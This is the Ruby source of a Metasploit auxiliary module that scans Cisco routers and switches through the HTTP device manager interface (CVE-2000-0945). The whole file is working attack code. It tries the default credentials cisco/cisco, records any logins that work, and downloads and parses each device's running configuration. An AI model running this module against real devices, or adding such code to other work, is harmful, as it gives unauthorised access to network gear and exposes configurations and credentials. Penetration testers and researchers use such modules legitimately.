Cisco Device HTTP Device Manager Access

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
  
# Exploit mixins should be called first  
include Msf::Exploit::Remote::HttpClient  
  
# Include Cisco utility methods  
include Msf::Auxiliary::Cisco  
  
# Scanner mixin should be near last  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Cisco Device HTTP Device Manager Access',  
'Description' => %q{  
This module gathers data from a Cisco device (router or switch) with the device manager  
web interface exposed. The HttpUsername and HttpPassword options can be used to specify  
authentication.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '1846'],  
[ 'CVE', '2000-0945'],  
[ 'OSVDB', '444'],  
],  
'DisclosureDate' => '2000-10-26'))  
register_options(  
[  
OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),  
OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])  
])  
end  
  
def run_host(ip)  
  
res = send_request_cgi({  
'uri' => "/exec/show/version/CR",  
'method' => 'GET'  
}, 20)  
  
if res and res.code == 401  
print_error("#{rhost}:#{rport} Failed to authenticate to this device")  
return  
end  
  
if res and res.code != 200  
print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")  
return  
end  
  
if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/  
print_good("#{rhost}:#{rport} Successfully authenticated to this device")  
store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])  
  
# Report a vulnerability only if no password was specified  
if datastore['HttpPassword'].to_s.length == 0  
  
report_vuln(  
{  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => self.name,  
:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/exec/show/version/CR",  
:refs => self.references,  
:exploited_at => Time.now.utc  
}  
)  
  
end  
  
res = send_request_cgi({  
'uri' => "/exec/show/config/CR",  
'method' => 'GET'  
}, 20)  
  
if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi  
config = $2.gsub(/<\/[A-Z].*/i, '').strip  
print_good("#{rhost}:#{rport} Processing the configuration file...")  
cisco_ios_config_eater(rhost, rport, config)  
else  
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")  
end  
  
end  
  
end  
end  
`